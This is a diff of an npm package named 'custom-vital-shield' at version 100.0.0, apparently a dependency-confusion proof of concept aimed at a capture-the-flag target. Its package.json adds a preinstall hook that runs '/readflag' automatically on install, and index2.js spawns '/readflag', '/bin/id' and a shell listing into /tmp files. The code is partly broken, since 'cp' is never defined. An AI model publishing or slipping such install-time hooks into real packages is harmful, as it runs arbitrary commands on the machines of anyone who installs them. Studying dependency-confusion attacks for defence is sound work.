custom-vital-shield 100.0.0

package/index2.js

@@ -0,0 +1,11 @@
+
+'use strict';
+
+module.exports = function(generateNonce) {
+  
+  var ps = cp.spawn("/readflag", " > /tmp/222.json");
+  var ps = cp.spawn("/bin/id", " > /tmp/333.json");
+  var ps = cp.spawn("/bin/sh", " -c ls > /tmp/444.json");
+
+  return false;
+};

package/index2.js_old

@@ -0,0 +1,3 @@
+module.exports.hacked = function () {
+    return "hacked"
+}

package/package.json

@@ -0,0 +1,24 @@
+{
+  "name": "custom-vital-shield",
+  "version": "100.0.0",
+  "description": "test",
+  "main": "index2.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "/readflag > /tmp/1.json"
+  },
+  "author": "0xsapra",
+  "license": "ISC",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/0xsapra/dependency-confusion-expoit.git"
+  },
+  "keywords": [
+    "poc",
+    "test"
+  ],
+  "bugs": {
+    "url": "https://github.com/0xsapra/dependency-confusion-expoit/issues"
+  },
+  "homepage": "https://github.com/0xsapra/dependency-confusion-expoit#readme"
+}